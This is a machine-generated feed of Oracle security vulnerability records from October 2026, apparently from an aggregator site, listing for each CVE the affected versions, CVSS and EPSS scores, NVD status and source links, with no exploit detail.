Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core). (Oct 20, 2026).
Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).   The supported version that is affected is 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Service Bus.  Successful attacks of this vulnerability can result in takeover of Oracle Service Bus. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87420).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87420&date=2026-10-25).
Sources:
NVD CVE-2026-87420: https://nvd.nist.gov/vuln/detail/CVE-2026-87420
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87420&date=2026-10-25
Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).   The supported version that is affected is 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Service Bus.  Successful attacks of this vulnerability can result in takeover of Oracle Service Bus. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Solaris product of Oracle Systems (component: Image Packaging System).
https://kevwire.com/record/CVE-2026-87421
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Image Packaging System). (Oct 20, 2026).
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Image Packaging System).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Solaris accessible data as well as  unauthorized update, insert or delete access to some of Oracle Solaris accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N).
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87421).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87421&date=2026-10-25).
Sources:
NVD CVE-2026-87421: https://nvd.nist.gov/vuln/detail/CVE-2026-87421
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87421&date=2026-10-25
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Image Packaging System).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Solaris accessible data as well as  unauthorized update, insert or delete access to some of Oracle Solaris accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel CRM Integration product of Oracle Siebel CRM (component: Open Integration).
https://kevwire.com/record/CVE-2026-91377
Vulnerability in the Siebel CRM Integration product of Oracle Siebel CRM (component: Open Integration). (Oct 20, 2026).
Vulnerability in the Siebel CRM Integration product of Oracle Siebel CRM (component: Open Integration).  Supported versions that are affected are 25.12-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Integration.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Integration accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91377).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91377&date=2026-10-25).
Sources:
NVD CVE-2026-91377: https://nvd.nist.gov/vuln/detail/CVE-2026-91377
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91377&date=2026-10-25
Vulnerability in the Siebel CRM Integration product of Oracle Siebel CRM (component: Open Integration).  Supported versions that are affected are 25.12-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Integration.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Integration accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).
https://kevwire.com/record/CVE-2026-91490
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway). (Oct 20, 2026).
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via LDAP to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 9.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91490).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91490&date=2026-10-25).
Sources:
NVD CVE-2026-91490: https://nvd.nist.gov/vuln/detail/CVE-2026-91490
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91490&date=2026-10-25
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via LDAP to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).
https://kevwire.com/record/CVE-2026-91491
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway). (Oct 20, 2026).
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via LDAP to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager Connector. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 9.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91491).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91491&date=2026-10-25).
Sources:
NVD CVE-2026-91491: https://nvd.nist.gov/vuln/detail/CVE-2026-91491
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91491&date=2026-10-25
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: LDAP Gateway).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via LDAP to compromise Oracle Identity Manager Connector.  Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager Connector. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server).
https://kevwire.com/record/CVE-2026-91495
Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server). (Oct 20, 2026).
Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Content.  Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Content. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 9.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91495).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91495&date=2026-10-25).
Sources:
NVD CVE-2026-91495: https://nvd.nist.gov/vuln/detail/CVE-2026-91495
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91495&date=2026-10-25
Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Content.  Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Content. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).
https://kevwire.com/record/CVE-2026-91624
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management). (Oct 20, 2026).
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 9.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91624).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91624&date=2026-10-25).
Sources:
NVD CVE-2026-91624: https://nvd.nist.gov/vuln/detail/CVE-2026-91624
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91624&date=2026-10-25
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites).
https://kevwire.com/record/CVE-2026-101499
Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites). (Oct 20, 2026).
Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites.  Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Sites. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 9.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101499).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101499&date=2026-10-25).
Sources:
NVD CVE-2026-101499: https://nvd.nist.gov/vuln/detail/CVE-2026-101499
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101499&date=2026-10-25
Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites.  Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Sites. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).
https://kevwire.com/record/CVE-2026-101537
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility). (Oct 20, 2026).
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 9.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101537).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101537&date=2026-10-25).
Sources:
NVD CVE-2026-101537: https://nvd.nist.gov/vuln/detail/CVE-2026-101537
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101537&date=2026-10-25
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Utility).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Communications BRM - Elastic Charging Engine product of Oracle Communications (component: Cloud native deployment).
https://kevwire.com/record/CVE-2026-101763
Vulnerability in the Oracle Communications BRM - Elastic Charging Engine product of Oracle Communications (component: Cloud native deployment). (Oct 20, 2026).
Vulnerability in the Oracle Communications BRM - Elastic Charging Engine product of Oracle Communications (component: Cloud native deployment).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via RMI to compromise Oracle Communications BRM - Elastic Charging Engine.  Successful attacks of this vulnerability can result in takeover of Oracle Communications BRM - Elastic Charging Engine. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 9.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101763).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101763&date=2026-10-25).
Sources:
NVD CVE-2026-101763: https://nvd.nist.gov/vuln/detail/CVE-2026-101763
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101763&date=2026-10-25
Vulnerability in the Oracle Communications BRM - Elastic Charging Engine product of Oracle Communications (component: Cloud native deployment).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via RMI to compromise Oracle Communications BRM - Elastic Charging Engine.  Successful attacks of this vulnerability can result in takeover of Oracle Communications BRM - Elastic Charging Engine. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: BRM Server).
https://kevwire.com/record/CVE-2026-101765
Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: BRM Server). (Oct 20, 2026).
Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: BRM Server).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Communications Billing and Revenue Management.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Communications Billing and Revenue Management accessible data as well as  unauthorized access to critical data or complete access to all Oracle Communications Billing and Revenue Management accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 9.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101765).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101765&date=2026-10-25).
Sources:
NVD CVE-2026-101765: https://nvd.nist.gov/vuln/detail/CVE-2026-101765
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101765&date=2026-10-25
Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: BRM Server).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Communications Billing and Revenue Management.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Communications Billing and Revenue Management accessible data as well as  unauthorized access to critical data or complete access to all Oracle Communications Billing and Revenue Management accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Core).
https://kevwire.com/record/CVE-2026-101767
Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Core). (Oct 20, 2026).
Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Core).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Application Object Library.  Successful attacks of this vulnerability can result in takeover of Oracle Application Object Library. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 9.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101767).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101767&date=2026-10-25).
Sources:
NVD CVE-2026-101767: https://nvd.nist.gov/vuln/detail/CVE-2026-101767
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101767&date=2026-10-25
Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Core).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Application Object Library.  Successful attacks of this vulnerability can result in takeover of Oracle Application Object Library. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Product Workbench product of Oracle E-Business Suite (component: WebUI).
https://kevwire.com/record/CVE-2026-101808
Vulnerability in the Oracle Product Workbench product of Oracle E-Business Suite (component: WebUI). (Oct 20, 2026).
Vulnerability in the Oracle Product Workbench product of Oracle E-Business Suite (component: WebUI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Product Workbench.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Product Workbench accessible data as well as  unauthorized access to critical data or complete access to all Oracle Product Workbench accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 9.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101808).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101808&date=2026-10-25).
Sources:
NVD CVE-2026-101808: https://nvd.nist.gov/vuln/detail/CVE-2026-101808
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101808&date=2026-10-25
Vulnerability in the Oracle Product Workbench product of Oracle E-Business Suite (component: WebUI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Product Workbench.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Product Workbench accessible data as well as  unauthorized access to critical data or complete access to all Oracle Product Workbench accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Solaris product of Oracle Systems (component: Image Packaging System).
https://kevwire.com/record/CVE-2026-60432
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Image Packaging System). (Oct 20, 2026).
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Image Packaging System).  Supported versions that are affected are 11.3 and  11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 9.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-60432).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-60432&date=2026-10-25).
Sources:
NVD CVE-2026-60432: https://nvd.nist.gov/vuln/detail/CVE-2026-60432
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-60432&date=2026-10-25
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Image Packaging System).  Supported versions that are affected are 11.3 and  11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in takeover of Oracle Solaris. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
